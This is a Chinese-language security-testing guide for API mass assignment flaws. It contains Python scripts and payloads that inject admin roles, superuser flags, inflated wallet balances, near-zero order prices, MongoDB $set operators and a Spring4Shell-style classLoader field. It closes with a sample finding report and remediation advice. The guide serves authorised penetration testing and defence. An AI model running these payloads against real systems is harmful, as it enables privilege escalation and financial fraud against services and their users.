testing-api-for-mass-assignment-vulnerability

测试 API 批量赋值（Mass Assignment）漏洞

适用场景

• 测试接受 JSON/XML 请求体的 API 端点，包括用户资料更新、注册或对象创建接口
• 评估 API 是否在没有白名单的情况下将客户端提供的所有属性绑定到数据模型
• 验证用户是否能通过普通更新端点设置特权属性（role、permissions、pricing、balance）
• 测试使用 ORM 自动将请求参数绑定到数据库模型的 API
• 验证服务端输入校验是否按用户角色限制了可写字段

不适用于未经书面授权的情况。批量赋值测试涉及以可能破坏性的方式修改对象属性。

前置条件

• 书面授权，明确目标 API 端点和测试范围
• 不同权限级别的测试账号
• API 文档或 OpenAPI 规范，用于识别预期的请求字段
• Burp Suite Professional，用于请求拦截和参数注入
• Python 3.10+，安装 requests 库
• 了解后端框架（Rails、Django、Express、Spring）以预测参数绑定行为

工作流程

步骤 1：识别可写端点及预期参数

import requests
import json
import copy

BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}

# 识别接受写操作的端点
writable_endpoints = [
    {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
    {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
    {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
    {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
    {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
    {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
    {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
    {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]

# 首先获取当前用户状态作为基准
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"基准用户状态: {json.dumps(baseline_user, indent=2)}")

步骤 2：注入特权字段

# 不应由用户写入的字段
PRIVILEGE_FIELDS = {
    "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
                       "account_type": "admin", "accountType": "admin"},
    "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
                    "is_superuser": True, "isSuperuser": True, "superuser": True},
    "permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
                           "groups": ["administrators"], "roles": ["admin"]},
    "account_status": {"is_active": True, "isActive": True, "verified": True,
                       "email_verified": True, "is_verified": True, "status": "active"},
    "financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
                  "price": 0.01, "amount": 0.01},
    "ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
                  "created_by": 1, "createdBy": 1},
    "internal": {"internal_notes": "test", "debug": True, "hidden": False,
                 "is_deleted": False, "is_featured": True, "priority": 0},
    "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
                 "createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}

def test_mass_assignment(endpoint_info):
    """测试可写端点是否存在批量赋值漏洞。"""
    method = endpoint_info["method"]
    path = endpoint_info["path"]
    expected = endpoint_info["expected_fields"]
    findings = []

    # 构造合法的基础请求
    base_body = {}
    for field in expected:
        if field == "email":
            base_body[field] = "test@example.com"
        elif field == "password":
            base_body[field] = "SecurePass123!"
        elif field == "name":
            base_body[field] = "Test User"
        elif field == "items":
            base_body[field] = [{"product_id": 1, "quantity": 1}]
        else:
            base_body[field] = "test_value"

    # 测试每类特权字段
    for category, fields in PRIVILEGE_FIELDS.items():
        test_body = {**base_body, **fields}
        resp = requests.request(method, f"{BASE_URL}{path}",
                              headers=user_headers, json=test_body)

        if resp.status_code in (200, 201):
            # 验证字段是否真正被设置
            resp_data = resp.json()
            for field_name, injected_value in fields.items():
                actual = resp_data.get(field_name)
                if actual is not None and str(actual) == str(injected_value):
                    findings.append({
                        "endpoint": f"{method} {path}",
                        "category": category,
                        "field": field_name,
                        "injected_value": injected_value,
                        "confirmed": True
                    })
                    print(f"[批量赋值] {method} {path}: {field_name}={injected_value} 已被接受")

    return findings

all_findings = []
for endpoint in writable_endpoints:
    findings = test_mass_assignment(endpoint)
    all_findings.extend(findings)

print(f"\n批量赋值发现总数: {len(all_findings)}")

步骤 3：通过状态变化验证赋值结果

def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
    """验证批量赋值的字段是否真正持久化到数据库。"""
    # 重新获取对象以确认字段已保存
    resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
    if resp.status_code == 200:
        current_state = resp.json()
        actual_value = current_state.get(field_name)
        if actual_value is not None:
            match = str(actual_value) == str(injected_value)
            print(f"  验证: {field_name} = {actual_value} (注入值: {injected_value}) -> {'已确认' if match else '不匹配'}")
            return match
    return False

# 通过资料更新测试角色提升
print("\n=== 角色提升测试 ===")
# 步骤 1：检查当前角色
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"当前角色: {me.get('role', 'unknown')}")

# 步骤 2：尝试设置管理员角色
update_resp = requests.put(f"{BASE_URL}/users/me",
    headers=user_headers,
    json={"name": me.get("name", "Test"), "role": "admin"})
print(f"更新响应: {update_resp.status_code}")

# 步骤 3：验证角色是否已变更
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"更新后角色: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
    print("[严重] 批量赋值：角色已提升为管理员")

# 步骤 4：测试管理员访问权限
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
    print("[严重] 角色提升后管理员访问已确认")

步骤 4：框架特定测试

# Ruby on Rails / Active Record 风格
rails_payloads = [
    {"user": {"name": "Test", "role": "admin", "admin": True}},  # 嵌套在模型名下
    {"user[name]": "Test", "user[role]": "admin"},                # 表单风格嵌套
]

# Django REST Framework 风格
django_payloads = [
    {"username": "test", "is_staff": True, "is_superuser": True},
    {"username": "test", "groups": [1]},  # 通过 ID 加入管理员组
]

# Express.js / Mongoose 风格
express_payloads = [
    {"name": "test", "__v": 0, "_id": "000000000000000000000001"},  # 覆盖 MongoDB _id
    {"name": "test", "$set": {"role": "admin"}},                     # MongoDB 操作符注入
]

# Spring Boot / JPA 风格
spring_payloads = [
    {"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
    {"name": "test", "class.module.classLoader": ""},  # Spring4Shell 风格
]

# 测试各框架特定的 payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
    resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
    if resp.status_code in (200, 201):
        print(f"[已接受] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")

步骤 5：订单与金融对象批量赋值

# 测试电商 API 中的价格/金额篡改
print("\n=== 金融批量赋值测试 ===")

# 测试 1：创建带篡改价格的订单
order_body = {
    "items": [{"product_id": 42, "quantity": 1}],
    "shipping_address": {"street": "123 Test St", "city": "Test City"},
    # 注入字段
    "total": 0.01,
    "subtotal": 0.01,
    "discount_percent": 100,
    "coupon_code": "FREEORDER",
    "shipping_cost": 0,
    "tax": 0,
}

resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
    order = resp.json()
    print(f"订单已创建 - 总价: {order.get('total', 'N/A')}，折扣: {order.get('discount_percent', 'N/A')}")
    if float(order.get("total", 999)) < 1.0:
        print("[严重] 通过批量赋值实现价格篡改")

# 测试 2：修改订单状态
resp = requests.patch(f"{BASE_URL}/orders/1001",
    headers=user_headers,
    json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
    print(f"[批量赋值] 订单状态/支付字段已被修改")

# 测试 3：用户余额篡改
resp = requests.put(f"{BASE_URL}/users/me/wallet",
    headers=user_headers,
    json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
    wallet = resp.json()
    if float(wallet.get("balance", 0)) > 10000:
        print("[严重] 通过批量赋值实现钱包余额篡改")

核心概念

术语	定义
批量赋值（Mass Assignment）	API 自动将客户端提供的参数绑定到内部对象属性，而未进行过滤，从而允许修改非预期字段的漏洞
自动绑定（Auto-Binding）	框架将 HTTP 请求参数直接映射到对象模型属性的特性；若未配置白名单，则会导致批量赋值漏洞
白名单（Allowlist/Whitelist）	服务端明确允许客户端设置的字段列表，其他所有参数均被拒绝
黑名单（Blocklist/Blacklist）	服务端明确阻止客户端修改的字段列表（安全性低于白名单）
对象属性级授权（Object Property Level Authorization）	OWASP API3:2023——确保用户仅能读写其被授权访问的对象属性
DTO（数据传输对象，Data Transfer Object）	通过独立对象定义允许的输入字段，将 API 契约与内部数据模型解耦的设计模式

工具与系统

• Burp Suite Professional：通过 Repeater 和 Intruder 拦截写请求并注入额外参数
• Param Miner（Burp 扩展）：通过模糊测试请求体和头部自动发现隐藏参数
• Arjun：参数发现工具，用于查找 API 端点中的隐藏 HTTP 参数
• OWASP ZAP：具备参数注入能力的主动扫描器，可检测批量赋值漏洞
• Postman：API 测试平台，用于构造含注入参数的请求并验证响应

常见场景

场景：SaaS 用户注册批量赋值

场景背景：某 SaaS 平台通过 REST API 支持用户自助注册，注册端点接受 name、email 和 password。后端使用 ORM 将请求参数自动绑定到 User 模型。

方法：

1. 仅使用预期字段注册新用户：POST /api/v1/register {"name":"Test","email":"test@example.com","password":"Pass123!"} — 返回用户，其中 role: "user"
2. 注入 role 字段注册另一用户：POST /api/v1/register {"name":"Admin","email":"admin@example.com","password":"Pass123!","role":"admin"} — 返回用户，其中 role: "admin"
3. 使用新账号调用管理员端点，确认管理员访问权限
4. 测试其他字段：is_verified: true 绕过邮箱验证，subscription_plan: "enterprise" 获取高级功能
5. 测试资料更新端点：PUT /api/v1/users/me {"name":"Test","balance":99999} — 钱包余额被修改

常见陷阱：

• 仅测试 "role" 等明显字段，忽略 "subscription_plan"、"credit_limit" 或 "verified" 等业务特定字段
• 未验证注入字段是否真正已保存（某些 API 返回 200 但静默忽略未知字段）
• 误以为黑名单屏蔽 "role" 就能防止批量赋值，而 "isAdmin"、"is_admin" 或 "admin" 同样可能有效
• 未同时测试创建（POST）和更新（PUT/PATCH）端点，因为它们的过滤逻辑可能不同
• 遗漏嵌套对象批量赋值，如 user.role 或 address.verified 等字段可能被注入

输出格式

## 发现：注册 API 批量赋值导致角色提升

**ID**: API-MASS-001
**严重程度**: 严重 (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**受影响端点**:
  - POST /api/v1/register
  - PUT /api/v1/users/me
  - POST /api/v1/orders

**描述**:
API 将客户端提供的所有 JSON 字段直接绑定到数据库模型，未进行任何过滤。
攻击者可在注册和更新请求中包含未公开字段，从而将角色提升为管理员、
绕过邮箱验证、修改钱包余额，以及篡改订单价格。

**概念验证**:
1. 注册时注入角色:
   POST /api/v1/register
   {"name":"Attacker","email":"attacker@evil.com","password":"P@ss123!","role":"admin"}
   响应: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}

2. 更新资料时注入余额:
   PUT /api/v1/users/me
   {"name":"Attacker","balance":99999.99}
   响应: {"id":5001,"balance":99999.99}

3. 创建价格被篡改的订单:
   POST /api/v1/orders
   {"items":[{"product_id":42,"qty":1}],"total":0.01}
   响应: {"order_id":8001,"total":0.01}

**影响**:
任何用户均可获得管理员访问权限、篡改金融数据、
绕过安全控制，并以任意价格购买商品。

**修复建议**:
1. 使用 DTO/输入模式，按端点和角色明确定义允许的字段
2. 使用框架特定的批量赋值防护（Rails: strong parameters，Django: serializer fields）
3. 禁止将请求参数直接绑定到数据模型
4. 添加集成测试，验证未公开字段会被拒绝
5. 采用白名单而非黑名单来限制可写字段